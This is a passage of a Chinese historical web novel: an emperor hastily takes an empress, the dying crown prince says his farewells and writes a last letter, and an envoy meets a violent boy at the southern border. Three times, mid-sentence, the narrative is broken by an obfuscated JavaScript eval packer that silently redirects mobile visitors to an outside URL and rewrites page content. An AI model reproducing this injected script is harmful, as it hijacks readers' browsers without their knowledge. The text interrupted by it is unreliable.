萧恒神色一僵,“我绝不敢有此心。” “但如果不是妾,没有一个女子愿意、应该独守空房,哪怕这个空房是椒房。陛下是打算叫她守一辈子活寡,还是真同她生儿育女,作践了她也作践自己的一颗心呢?”杨观音轻轻叹道,“陛下,恭让皇后的殷鉴犹在啊。” 萧恒身躯轻轻震动一下。 “我谁都不作践。”他还是说,“我不立后。” 杨观音道:“陛下先前不立后,已被逼到要大开杀戒了。” 萧恒道:“无人不惧一死。” 杨观音道:“可殿下为了陛下,会惧一死吗?” 萧恒像被打了一记耳光。 他垂下头,双肩剧烈颤抖起来。 一地余晖里,杨观音整衣跪倒,目中水光微动,“妾是裴玉清的妻子,所以绝不会做陛下的妻子。但陛下是妾和玉清的恩人、全大梁的恩人。” 她双手加额,俯身于地。 “妾温国公次女杨氏观音请诏入宫。妾,心甘情愿。” *** 奉皇十五年腊月二十八,皇帝下诏,册立温国公次女杨氏为后。正月初五,举行封后大典,授册宝,迎居立政殿。 天子立后如此仓促,难免引来议论纷纭。有人说是潦草敷衍,有人却不赞同,道咱们陛下独居多载,又正值壮年,说不定早想温香暖玉。之前种种,只是演绎故剑深情——更别说故剑是谁尚且一团疑云——如今才是顺水推舟。 不过这些闲言碎语是落不进太子庭院的。事实沉重流言轻,昨夜一场北风,今早连落叶都能打扫得一片不剩。郑绥有东宫鱼袋,无事便来陪同,萧恒也给他宽限,夜间也许他留宿禁中。有他作伴,萧玠也强了精神,这几日竟能起身行走,也能自己做些取用。萧恒大喜过望,太医却知回光返照之理,谨小慎微,不敢道破。 立后的装扮在年节掩盖下悄悄张罗起来,宫中得到嘱咐,绝不敢在太子眼前露出一星半点。但萧玠自己却是极敏锐的人。正月初一,他正掀那本《明王》瞧,忽然抬头望窗户,凝神片刻,道:“我听见有编钟响了,还有鼓声。” 郑绥晓得是礼部演练婚仪乐曲,便笑道:“听说今年有外邦使节朝贺,大抵是招呼他们的。殿下若想听,臣明日把琴带进来,好吗?” 萧玠倚在枕上,看了他一会,方绽开一笑,颔首道:“好。” 萧恒但凡下朝无事,仍是每日来瞧他,从不谈论立后事宜,萧玠也不多问。直到正月初四,萧恒傍晚过来,陪他一块吃饭。 萧玠吃得少,半碗清粥便罢。萧恒知他的胃口,也不要求,把他剩的汤粥倒自己碗里,挟着酱菜来吃。 他一埋头,萧玠就瞧见他的头顶。 萧恒素来自己梳头,白头发生得快,就让他自己藏在头发心。他又比萧玠高不少,平日看不出什么破绽。 萧玠这么看了他一会,说:“明日我不过去了。” 萧恒点点头。 萧玠说:“如果有大臣再参奏,你别急。” “我不急。”萧恒放下碗筷,“这事你不用管,你就照顾好自己。明天再晚些,我还是过来吃饭。” 萧玠道:“别了,我明晚想早睡。” 萧恒想说什么,到底没出口,应一声。 萧玠挟着筷子,似乎酝酿什么,终于,看着他的脸,说:“阿爹,你能把吉服穿来给我瞧瞧吗?” 萧恒不防他提这件事,沉默一会,道:“好。” 萧恒没有离开东宫,他陪着萧玠,由秋童去取明日的婚服。过了一会,萧恒更换完毕,走出屏风。 在萧玠眼中,他华发早生的父亲短暂焕发出青春容光。一瞬间,他容颜再朱,鬓角重绿。他今年三十有余,却类似一具年逾四十的身躯,这具身躯在转向萧玠的一刻返老还童,让他见到他从未见过的弱冠之年的父亲的模样。 这件吉服像件仙衣,但它只沾了婚姻的名头,甚至都没有触到爱情的边角。萧玠无法想象,对他铁石心肠的父亲来说,爱情竟有这样起死回生的力量。 萧玠站起身,慢慢向他走去,帮他整理衣领,又将旒珠放下,手指落在一道褶皱上,却没有抚开。他问出一个执着多年的问题:“你们那时候……穿过吗?” 萧恒说:“我们那时候,按的是你阿耶那边的规矩。” 萧玠应一声。 萧恒看着他,“册立你的那天,我穿的这一件。” 萧玠猛地抬头,瞧他一会,问:“礼部没有啰嗦?” 萧恒笑道:“你老师是偷天换日的好手。” 他笑着,轻轻抱住萧玠。 萧玠慢慢缩在他怀里,脸埋进他衣襟,把那件熨好的吉服抓得生皱。许久,才颤声说:“对不起。” 萧恒轻轻拍打他后背,只叹一声:“傻孩子。” 立后大典在清晨举行,萧恒当夜就要动身出宫,便不在东宫久留。他刚走,郑绥便到,倒像是预先受过托付。两人说了会话,已是一天寒星。 萧玠道:“绥郎,我想去趟甘露殿。” 郑绥没有劝阻,替萧玠穿好棉衣,又取过大氅,才提灯搀扶他出门。如今夜深,萧玠不想叫辇,两人便走走停停。出现在甘露殿门前时秋童大惊,忙叫人去生炭。萧玠坐在椅中匀气,一时也没有阻止。 他抬头打量,殿中已按照天子婚娶的礼仪布置一新。龙凤花烛已然供好,桂圆莲子的山堆也在案上摆放。一片吉祥的海洋里,萧玠这个气若游丝的人反倒格格不入起来。他盯着堂间红剪纸的双喜看了一会,便示意郑绥,扶他走去内殿。 萧玠要跨门槛时低头瞧了一会。 小时候跨门槛有些难,他便爬,萧恒要抱他,秦灼反喜欢看热闹,要看他自己爬过来。萧恒便站在一旁,见他若歪倒便赶紧捞他。有一次萧恒不在,他爬门槛不慎磕在地上痛得大哭,秦灼这才慌了神,以后再不叫他爬了。 阿双同他讲:“后来陛下回来问:‘阿玠头上的伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566363|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口是怎么回事?’大王不敢讲实话,便同他扯谎,白天说是殿下自己够酪吃叫酪碗砸的,晚上说是殿下非要爬树拿头撞的。陛下也就心中有数。吵嘴?要陛下同大王吵嘴,那可比太阳打西边出来还难,不过陛下有别的法子辖制他。什么法子?啊呀,这不能同殿下讲了。” 见他呆住,郑绥也不催,由他静静立了一会。等萧玠回过神,郑绥便扶他过门。 萧玠由他搀着,缓缓走到那张床前。床前红帐垂落,香囊结系,所取纹饰皆为南地风尚。 萧玠挂起一半帐子,从床边坐下,见萧恒所盖不是他从前那床棉被,而是一床大红鸳鸯的旧缎面,已经上了年头。又打开床头匣子看,见是两枚大印和不厚不薄的一叠书信。 信封早已泛黄,字迹他熟悉,称呼他熟悉,甚至那甜蜜他也熟悉。但萧玠没有打开,只随手取一枚印扣在手背上,看着那几个字,有些出神。 过了一会,萧玠将匣子收好,瞧见秋童担忧的脸。萧玠目光示意他背后衣架,上面是仍和萧恒常服挂在一起的诸侯衮衣,含笑道:“秋翁,明日你受累,照顾好陛下,带上太医,他可能会难受。把这些东西都收起来吧,从今往后,别在陛下跟前讲到他了。” 秋童看他从小长大,如何听得了这番话,当即落下泪来。 萧玠握住他的手,笑道:“秋翁,这样你哭过来我哭过去,何时是个头呢?陛下娶妻,是好事。以后,他能好好过日子了。你高兴些,大喜的日子呢。” 萧玠没在甘露殿久留,一会便出了门,反而在出院门前止步,掉头看了好一会。 夜间风寒,萧玠打了个冷颤。郑绥去握他的手,只觉得凉。 萧玠抓紧大氅门襟,对郑绥笑了笑,道:“绥郎,不知道你信不信,我心里,真的希望他们能白头偕老的。” *** 次日,正月初五,天子立后,设仪仗如元日,列百官如冠礼。群臣百姓簇拥下,新后手捧宝匣登舆。 传言匣中所藏为一块玉石,为杨皇后闺中所得,剖而观之,其中有文曰“母天后地”,正为杨后母仪之兆。 天子立后,普天同庆,一夜歌舞未息。 萧玠屏退众人,独坐榻上,听到门响,讶然道:“你怎么来了?” 中宫大喜,郑绥也着大服,红衣黑裳地掩门而入,更像一个年轻新郎。他从榻边坐下,摸了摸萧玠被中手脚,把自己手炉塞到他脚心,道:“来看看你。” 萧玠看他的脸,一瞬不瞬地,突然说:“我有点累了,你能不能陪我睡一会?像小时候那样。” 郑绥也看他,缓缓笑了:“好。” 他替萧玠打散头发,脱去外衣,扶他躺在枕上,又将被褥掖好。自己又去偏殿搬来一张卯榫结构的矮榻,能够折叠,是早年做伴读时守萧玠睡觉常用的。 郑绥挪开脚踏,将榻拼到萧玠床边,自己也躺下,两个人便同床共枕般面对面起来。 郑绥从怀中掏出厚厚一沓信封,交给萧玠,“殿下的信臣读完了,回信全部写好了。” 他看萧玠捧在怀里,便问:“要拆吗?” 萧玠摇头,全塞到枕下,要这么枕着睡觉,说:“不要一下子看完。” 他身上冷,不自觉像郑绥靠近。两个人脑袋挨着脑袋,呼吸近在咫尺。郑绥看着他颤动的睫毛,许久,道:“臣犯了欺君之罪。臣没有去崤北,所以臣没有收到殿下的信。” 萧玠有些奇怪,想了想也明白过来,“是国事?” 郑绥点头,“是机要。” 萧玠道:“该当如此。你做得好。” 郑绥从怀中取出另一物,“臣还有一件东西,请殿下现在过目。” 是一幅卷轴。 萧玠笑着结果,缓缓打开。瞬间,泪水盈睫。 画中人丰神俊朗,眉眼含笑,那么熟悉,又如梦般触不可及。 是秦灼的肖像。 萧玠看向他,“你……” “臣暂且不能说是什么事,但臣可以告诉殿下,这一趟不是北上,是南下。”郑绥看着他,“殿下知道,秦公在南边曾有几处汤沐邑,都立有光明祠。其中有一处,是一座九层宝塔,很漂亮。奉皇元年,殿下受册之后,陛下在塔顶供了一座光明神像。听家父说,依照的是秦公容貌。臣便照此画下来,殿下看看像不像?” 萧玠浑身颤抖了,忍泪看他,“那像还在?” 郑绥点头,“还在。陛下请专人看护,保养得很好。” 萧玠了然道:“你知道。” 郑绥轻轻说:“我知道。” 萧玠把那幅画抱在胸前,像一个受伤的动物一样缩起身体,几乎躲到郑绥怀里。 他明白了郑绥的言外之意。 既然是机要之事,郑绥能告诉他真正的目的地,是受到萧恒的默许。 这幅画,是萧恒想要交给他,告诉他: ——我永远不会忘记。 *** 翌日,萧玠着礼服,乘舆至立政殿拜见皇后。 杨观音不叫他下拜,下座扶他坐下,道:“殿下少自聪慧,知道我入宫所为何事。” 萧玠瞧着她搀扶自己的一双柔荑,涩声道:“我知道,所以我才来拜见皇后殿下。” 他并不晓得杨观音的隐秘情事,更无从得知二人之间的君子之盟。就像他求萧恒立后,也不只是为了萧恒以后不再受人掣肘。 作为秦灼的儿子,他不希望萧恒另娶他人。但他也是萧恒的儿子,他不希望自己的父亲孤苦无依。 萧玠压抑住咳嗽的冲动,起身,缓慢跪倒,握紧杨观音欲扶自己的双手,道:“殿下,他是个很好很好的人,你不要因为我和他有隔阂。我快死了,你的儿子会是大梁长命百岁的太子,你们要好好的。他身体不好,以后我不在,请您多多照顾他。” 他叩首道:“拜托了。” 杨观音第一次领会,这个用性命逼迫自己父亲续娶的太子,是个怎样的人。 只是有些故事,不能为道,不足为道,也无人为道罢了。 正月初五夜,皇后入立政殿,设香案,启宝匣,取出牌位一座,并观音像一幅,供奉有如阁中。 天子与皇后入帐,似乎合卺,然杯中无酒。一应吏员撤离后,皇后自行更衣休息。天子往东宫,未入户,立至天明。 21. 第 21 章 萧玠走出立政殿,远远地,便见郑绥立在门口等他。 见皇后送萧玠出来,郑绥也快步迎上。 杨观音摸了摸萧玠额头,皱眉道:“阿绥,你送殿下回去。殿下没有乘辇吗?望着这一阵北风起了,你们乘我的轿子回去,别叫殿下吹风。” 皇后肩舆一会便抬过来,萧玠想推拒,腿上实在没力气,便告谢依从。杨观音见郑绥扶他登舆,提醒道:“阿绥,你也上去,殿下这般脸色,你叫他自己在上头坐着吗?来人,快去太医署知会,让他们去东宫候着。” 郑绥不是拖泥带水之人,立刻敛衣登舆,挨在萧玠身边坐下。他摸了摸萧玠的手,低声道:“殿下,臣僭越了。” 萧玠没出声,往他身边靠了靠。郑绥身形一滞,终究抬臂揽过他,叫他靠得舒服些。 轿辇摇晃间,萧玠笑了笑:“你是皇后的外甥,以后,咱们就是自家亲戚了。自家亲戚,要常走动的。别、别忘了我嘱咐你的事。” 郑绥道:“你别说这话。” 萧玠睁了睁眼,喃喃道:“绥郎,天上怎么……出星星了。” 郑绥低头,竟见他额头已经密密地结了汗珠,心道不好,忙叫道:“快,再快!” 待赶到东宫,郑绥要扶他下舆,发现萧玠已然昏迷,冷汗竟已溻到外衣。太医施针时,萧恒匆匆从朝贺赶过来。他一手拦住要跪倒谢罪的郑绥,正见太医往萧玠眉心一刺。 萧玠殊无反应。 太医收针,见萧恒立在身后,面有难色。 萧恒问:“太子怎么样?” 太医俱伏在地上,无人敢出一声。最终,还是太医署令拜在地上,颤抖道:“陛下,东西……也该备下了。” 许久,众人才听见天子道:“你们再想想法子。” 太医署令低声道:“臣等力微德薄。” 郑绥胸口咚地一响,一口气险些出不来,缓了片刻,才发觉萧恒攥得自己手掌生疼。 他听见萧恒扭曲的嗓音:“这两天还有没有人,有没有郎中再进宫?” 郑绥忙叫人去问,被萧恒紧紧拉住,有些语无伦次:“郑郎,你去传旨,继续向四海求医。谁能救活太子,我给他磕头,他要什么我都答应。还有,叫你舅父进来草诏,我要罪己。” 天子罪己是何等大过,而萧恒七年前已然下过一次罪己诏。 郑绥大惊失色,“陛下!” 萧恒似乎恢复镇定,拍拍他手臂,“快去快回,阿玠醒来要见你。” 郑绥不敢耽搁,先去传旨,又跑去典礼现场,在晾着的百官里捞出杨峥带来。甫进东宫,便见萧恒坐在榻边,榻头还坐了个女人,拧了帕子给萧玠擦额头,低声对萧恒道:“他们说得也不差,备下东西,也算冲喜。大王小时候也重病过一次,文公便叫人备了东西,将他常穿的衣裳、常用的玩具放进去,也就一个月,便慢慢缓过来了。” 萧恒问:“当真有用?” 郑绥察觉,那是东宫大女官阿双的声音:“倘若无用,陛下只怕没有之后和他的福气。” 天子的脸色砰地变作雪白。 萧恒转头看见杨峥,道:“士嵘,劳烦你,去支会礼部一声,给阿玠……” 郑绥突然道:“陛下。” “这些东西,殿下已经备好了。” 郑绥上前,打开萧玠从行宫带回的衣箱,取出一套纹绣龙虎的红衣,道:“臣上次替殿下寻冬衣,瞧见这身衣裳,见不是寻常款式,问过阿子。阿子道,是殿下叫人夏天就裁好的,想穿着过去。至于寿材……殿下说不要铺张,院里那一口,就得了。前两天,殿下叫臣陪他,提早给文正公烧了纸。没烧纸钱,烧的是今年的课业,说恐怕挨不到今年九月了。” 他从箱中拿出一封信,上前跪呈给萧恒,“东宫服侍者八名,连同双姑姑,之后去留所在,殿下已全部安置清楚。夏相公今后事,殿下也有所托付。他不愿亲口同陛下谈,怕争执,故托臣借机呈送陛下。” 郑绥高举双臂,忍不住落下眼泪,许久不觉天子接手。过了一会,他抬头,见萧恒脸埋在双掌当中,已经难发一言。 去年冬天冷,这个新春也是,宫中立后的新彩早早撤下,和满宫药味一起印证储君命在旦夕的消息。而萧玠日渐流失的生命力,突然在他第十五个生辰日焕然一新。 上元节的黄昏,他再次睁开眼睛,对守在榻旁的萧恒笑一笑,用气声讲:“阿爹,我想吃圆子。” 萧恒大喜过望,一壁叫太医,一壁叫人去张罗东西,自己去庖厨给他包汤圆。待郑绥闻讯赶来,见萧玠披衣坐在榻边,说:“你陪我去瞧瞧昆刀吧。” 秦灼当年离宫前什么都没带走,昆刀亦是。 萧玠今日精神的确要好,由郑绥搀扶走了这么远,竟也没太吁气。白虎本伏在铁笼角落,精神十分萎靡,听见脚步,才动动耳朵。睁眼见了人,眼中也有了光彩,急切地往笼前凑去。 萧玠道:“把它放出来吧。” 郑绥道:“陛下嘱咐,它伤过殿下,不叫放的。” 萧玠轻轻叫他:“绥郎。” 郑绥没有僵持很久,拉过杌子给萧玠坐,自己从壁上取过钥匙,打开笼门。 白虎钻出笼,没有像从前一样扑上去,而是慢腾腾挪步到萧玠身边,往他身上嗅了嗅,低低呼噜一声,脑袋伏在萧玠膝上。 萧玠缓慢抚摸它的皮毛,手指像一把梳子,一寸一寸给它篦理。从前光洁如雪柔滑如缎的虎皮已然暗沉,昆刀已经上了年纪。 它陪伴过秦灼的少年时代,又到秦灼的儿子。它无数次送别过秦灼,如今,又到秦灼的儿子。 萧玠脸埋在它颈上,眷恋得像个小孩子。这么依靠一会,他对郑绥道:“以后,你帮它找处林子,将它放走吧。” 郑绥已经不阻拦他讲身后的话,只问:“不留给陛下吗?” 萧玠道:“它伤过我,陛下心中有个坎,只怕见了它自责要多。放它走,猛虎就该去山林,不能锁在深宫里。” 说到这儿,他抬脸冲郑绥笑一笑,“你瞧,这些道理,我其实都明白的。” 郑绥看他一会,抬手,冷静地擦了把脸。 *** 今日是上元,郑绥再陪他一会便辞去,夜色上来,一宫静谧如水。萧玠没力气,便又盖着大氅打盹。 没过一会,他便觉有人轻轻拍他手臂。睁眼,见萧恒将东西放下,轻声道:“吃些东西,吃过上床去睡。” 萧玠依言起身,闻见汤圆香气,笑问道:“是桂花?” 萧恒道:“桂花,还有芝麻。” 萧玠爱吃芝麻,秦灼爱吃桂花,萧恒不拘什么都好。他从南方同秦灼过了回年,回来便学了包圆子的手艺。萧恒做什么都像模像样,秦灼赞口不绝,此后这活便由他包揽下来。萧玠小时克化不动糯米,但又想尝,秦灼便叫他咬破皮喝馅,剩下的圆子皮自己和萧恒吃。但萧玠馅也不能吃多,太甜,吃多便要咳。每当秦灼禁他吃第三个,他就站在一边眼巴巴地望,望到秦灼心软,警告他:今晚的药要都吃掉。 萧恒见他舀着汤圆出神,问:“烫?” 萧玠笑道:“有些。阿爹吃酒吗?” 萧恒今日兴致似乎不错,道:“阿爹吃一些。” 萧玠知道萧恒的病症,吃不得热酒,若吃热酒便骨头疼。这件事是近两年他才察觉的,突然想起,他陪秦灼吃了那么多年热酒。 他见萧恒取过酒壶,两只酒盏,道:“我吃不得酒的。” 萧恒道:“阿爹知道。” 他将另一只盏子放在手边,先满一杯。 萧玠眼看酒水注满杯盏,像注满一颗蛀空的心,突然道:“我给阿爹倒吧。” 他将酒壶掌住,满酒后捧给萧恒,笑道:“愿阿爹长命百岁,无灾无痛。” 萧恒扶他坐下,接过杯盏,笑道:“阿爹祝阿玠……” 停顿好一会,方道:“生辰喜乐。天天都喜乐。” 萧玠便端碗,两人又埋头吃饭。他今夜胃口不错,碗中圆子竟快吃光,萧恒道:“吃不动给阿爹。” 萧玠将碗给他看,“吃完了。” 萧恒笑起来。 萧玠静静看他眼角的皱纹,总感觉萧恒已经老大年纪。过一会才想起,新的一年,父亲也不过三十九岁。这样看了一会,他展颜笑道:“阿爹,我想弹会琵琶。” 萧恒帮他取来琵琶,看他拿拨子试弦,问:“想弹什么?” 萧玠却答非所问:“昨晚做了个梦。” 这晚没有烟火,却有一天明月光。他披月而坐,手指微动,弦声有如泣诉。萧恒坐在一旁,看萧玠脸依着琵琶,开口唱道: “归鸿报与音书早,故园路、林芳少。此会迟迟辞悄悄。千回肠断,恍然一觉,半户清辉小。 “等闲弃掷心头好,谈笑挥抛掌中宝。但乞春晖怜寸草。垂髫年岁,何如襁褓,未省离怀抱。”* 拨板当心一划,弦声如同帛裂。 一室寂静里,萧玠转头望向萧恒,满脸月光,如同潸然。 他道:“阿爹,我想写信。” 当夜,萧玠披衣伏案, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566364|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写了送给南秦的最后一封信。萧恒立在一旁给他研墨,见他抓笔时突出的骨节和微微颤抖的笔身,沿着手背往下,找到他高高凸起的一块螺蛳骨。腕上的红绳挂不住,坠着铜钱滑到袖子里。 萧玠略写几个字便要休息,萧恒不劝他,拿热水打湿手巾给他擦汗。 短短一封信足足写了半个时辰,萧玠将笔搁在一旁,从萧恒手中接过手巾,埋了会脸,方抬头冲他道:“阿爹,你帮我交给姑姑,好不好?她知道南秦的路子。” 他见萧恒一时无言,低声道:“我知道叫你为难……我真的想再见他一面。” 萧恒迅速道:“阿爹不为难,阿爹这就去找姑姑。你好好吃药,好好养精神,过几天,就能见到阿耶了。阿耶瞧见你现在生病,心里会难过。” 萧玠连睫毛都汗漉漉的,冲他笑道:“我好好养的。” *** 见秦灼一面的念头吊住萧玠一口气,哪怕要吐也要吃些东西。萧恒这两日也不再上朝,陪他在东宫一块等。等回信,或者信件带来的人。 萧玠的信秦灼从未回过,但路子的确走得通,说明有人收到,只是不肯答复。 阿耶有了新家庭,自己实在不该打扰他。但阿耶能不能看在他快死的份上可怜可怜他,就当可怜一只小猫小狗? 前五日未有答复实属正常。而第六日毫无音讯。第七日毫无音讯。又是第八日、第九日。 至第九日夜色已深,萧玠倚在榻上睡去,秋童蹑步入殿,附萧恒耳通传些什么。 有一瞬间,萧恒神情似乎发生变化。但他没有言语,等秋童离去后,突然听到萧玠叫他。 萧玠睁开眼睛,带着点期盼问:“到了吗?” 萧恒握他的手,“快了。” 萧玠道:“承天门有人等吗?别走错了路。” 萧恒道:“各个城门都有人守着,一到就来见你。你安心。” 萧玠又问:“回信呢?” 萧恒只道:“大抵来得急,没功夫回信。咱们再等等他,好吗?” 萧玠不再说话。 月光一点点落下去,像带走萧玠的体温。萧恒察觉掌中萧玠的手渐渐冷去,越来越像个死人。 如此又是十日、十一日,复十二日。 十二日的月亮再度升起,萧玠脸上那点虚假的血色终于被月光冲淡,露出真正病态的苍白。他歪过脸,不叫萧恒看见他的表情,过一会,才转回来。 “我知道他怨恨你。”萧玠道,“但我没想到,他也会怨恨我。” 萧恒握紧他的手,柔声说:“就快到了,肯定就快到了。阿玠,好孩子,他怎么会怨恨你?你是他身上掉下的肉。” 萧玠笑了笑,但嘴唇颤抖。 “是,”他说,“我是一块有毒的赘痈。” 萧恒看他侧过身子,将自己盖给他的大氅拉到脸上。那半旧的棕黑皮毛颤抖起来,像一头中箭的幼兽。 萧恒一只手轻轻拍打他,也是流泪,“没有,阿玠,没有。” 许久,方听萧玠长长出了口气。他从大氅底伸出手,叫萧恒牢牢握着。隔着皮毛,萧玠声音有些瓮然,说:“阿爹,你和皇后,再要个小孩吧。” 萧恒打断:“阿玠。” 萧玠摇摇他的手,笑道:“我会为他祝祷,求他健健康康的。等我死后,把我葬在你身边。百年后你们合葬,不要把我迁出去。” 萧恒没讲话,过了一会,也没听到萧玠的动静。他再捏萧玠的手,才察觉萧玠握他的手指已经放松。萧恒猛地揭开大氅,萧玠满面泪痕,已然昏迷。 是夜,继皇太子病重后,终于传出病危的消息。 皇帝不叫人哭,东宫压抑得如同死水。众人来往进出,只听乒乒砰砰的密密脚步声。一道又一道帘子低垂,一只又一只手在萧玠手腕上搭下又抬起,一个又一个郎中摇头。 萧恒从痛苦,到绝望,到毫无表情。 天色完全暗沉下去,一世界万籁俱寂,如同死地。萧恒替萧玠掖好被角,走到帘外,对秋童道:“你去向郑绥传旨,命他担任报聘使一职,快马加鞭,去一趟南秦。我写一封信,要他亲手交到秦大公手里。” 秋童来不及讶然,萧恒已经开口,“找个卷轴给我。” 萧玠的信是私事,他可以不瞧。但梁皇帝的圣旨是公事,他不看也得看。 玉轴铺开,萧恒提笔舔墨,抬腕下去时,手腕居然微微颤抖。秋童心中酸涩,正要劝他吃盏热茶缓缓,见他已经把住手腕,落笔写道: 萧恒敬问南秦大公无恙。 22. 第 22 章 郑绥马过明山已近二月中旬。 他无数次从萧玠的祷告里见到这片土地。 萧玠道,南秦和咱们这里不一样,那边的树不落叶,哪怕到冬天,大明山也是青青翠翠。若是到春天,正是放桐花的季节,远远望过去,就像落了满山雪。 说至此,他冲郑绥笑笑,我是再见不到了,若有机会,你可以去瞧瞧。 郑绥知道,萧玠从无虚言。 他在芳草间勒马,马蹄踏在界碑前,一道影子飞速从碑上掠过,是鹰。鹰击长空的风声里,郑绥耳边响起临行前天子的嘱托: “若是镇国陈将军迎接,给他瞧你东宫的鱼符。若是大政君接见,给她看你的庭节和圣旨。若是秦君亲自见你……” 天子停顿片刻,道:“你先问他,有没有收到太子的书信。” 郑绥凝视碑上秦篆,突然,他双耳一动,拨转马头。 远处马蹄声作响,一匹黑马奔出草野。 马背上,一个男孩子红衣猎猎。 乍然间,一道绊马索拔地而起,黑马一声高鸣跌倒在地,男孩子摔落马背的瞬间,当即滚身而起。 几乎是同时,几匹高头大马已追到面前,将他团团围住。 男孩身后金河滔滔。 来人俱是劲装短打,成人身量。 隔得太远,郑绥听不清他们交谈,但看那几个男人已从腰间拔出刀来。他不作他想,当即拔箭引弓射去,一箭刺中那只持刀右手时,那男孩突然飞身一踢,一脚踏在那人胸口上,正借力跃到另一人肩头,双腿盘在对方颈上,用力一拧—— 郑绥策马赶到时,最后一人已栽在河中,扑通一声水花高跃,溅落河面时,已是滚滚鲜红。 那男孩将匕首插回靴边,转头看他,拍手笑道:“多谢援手。” 郑绥察觉,这是个很古怪的男孩。 男孩不过八九岁,肤色是健康的小麦色,整个人却冷得像冻冰。他在笑,笑得也灿烂,但笑意不到眼睛底。他眼睛又沉又静。 郑绥似乎见过这双眼睛。 他观察男孩时男孩也在观察他。男孩黑丸一样的眼珠迅速从他周身一滚,突然定在他身后,不动了。 郑绥看到他微微眯眼,咧嘴露出两枚虎牙,笑着说:“你是外地人?” 郑绥知他看到自己的庭节,不答反问:“阁下姓秦?” 男孩大模大样地抬胳膊,举到快头顶的位置,才拍到他的胸膛,“聪明人。” 他像粲然:“我喜欢聪明人。” 郑绥说:“既如此,请阁下引我入王城。我奉梁皇帝之命出使,有十万火急之事要面见秦君。” 男孩双脚在草间一踢,翻身跃上黑马。郑绥注意到,他没有踩镫,那匹黑马也只上了缰绳。更不论这个年纪,一般孩子所骑大多也是马驹,少有直接骑这样成年马匹的。 思索间,男孩已跳下马,重新拔出匕首,拎起地上一具尸首的头发,迅速抽动手臂,切割生肉一样割断脖颈。 他目光专注,手法极巧,那腔冷血喷涌而出时半点没有溅在他身上。 男孩将那颗人头拎在手里,把头发拴在缰上,翻回马背时冲郑绥道:“你运气好,碰着了我,跟我来吧。” 郑绥抱拳,“有劳。” 男孩策马在前,郑绥紧跟在后。行了一会,郑绥抬头看太阳方向,道:“阁下是不是走错了。” 男孩头也不回,“是这条路,不信自己走。” 郑绥没有再话,不紧不慢跟上。 按理说过了明山,要入温吉王城便有官道,这男孩子领路却是山间羊肠,尽是崎岖坎坷所在。 郑绥隐隐听见隆隆之声,再往上走,山壁几乎垂直,只有凸出的土石能踏。这男孩反倒十分轻松,嘴唇一动,开始吹哨。 和着哨声,他靴边轻轻敲打马腹,火红衣袍垂在膝边,一窸一窣间,如同朱雀一舒一展的翅膀。山谷寂静,他的口哨声撞在山间,回音飘荡时如有山鬼相和。郑绥隐约在萧玠的琵琶上听过几次。萧玠弹得伤怀,他吹起来却轻快。 渐渐,男孩连缰都不掌,全凭双腿夹紧马腹操纵方向。如履平地的神气,全然是大山的儿子。 自然的响声越来越大,男孩也勒住缰绳,抬下巴往前一指,说:“到了。” 郑绥往前看,见已行至悬崖,崖头一道索桥,悠悠荡荡吊往对面。崖下大河奔涌,拍打在乱石上砰然作响,如同铁浆。 男孩说:“没蒙你,这边是雷鸣崖。喏,这条河也是金河的一支,底下就是试刀口。试刀口后就是温吉王城,你应当瞧过舆图,这条是近路。” 他看郑绥神情,笑道:“行吧,我给你走一遍瞧。” 他嚯了一声,两腿一打马腹,黑马便抬蹄上桥。吊桥是木板铺成,马蹄一踏上去便悠悠荡荡,男孩却轻车熟路,如同踏在实地上。 他越走越远,在青山间,凝成一个红点。 郑绥盯紧那个红点,像盯一粒火星。 待男孩行至半程,他也一振马缰,在后跟上。 半空风声嗖嗖,河水拍击声像能把人打成齑粉。好在郑绥这匹白马身经百战,虽微微颤抖,却没有蜷缩不前。郑绥赶到桥心,那男孩已行到崖头,并没有立即下马。 而是矮身探手,摸向靴边。 果然! 在男孩砍断一条桥索的瞬间,郑绥已从马背跃起,在坠落的同时手臂吊到桥板之上,又在另一条绳索断裂之前,借助巨大的荡力向崖壁一跃—— 他双靴落地时,看到男孩一张没有波澜的脸。 男孩眼里光芒微动,面上却没有任何表情。郑绥意识到,这才是他真正的个性。 男孩没有讲话,匕首从袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566365|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口一擦,当即猱身劈面刺来。这样的打法极其凶狠,要么割断郑绥喉管要么破出郑绥脑浆。 几乎是瞬间,长剑已如银龙般蹿入郑绥掌心。锋刃相割的火花闪烁里,男孩旋身一拧,双腿盘上他腰间,就要从背后割他的脑袋。 好狠毒的小子! 郑绥剑锋一振,到底避过他腹部,只割过他手臂,想叫他吃痛收手。这小子却浑然不知,手腕一转时寒光一闪,那把匕首已然振成长剑,直直向郑绥眉心刺去! 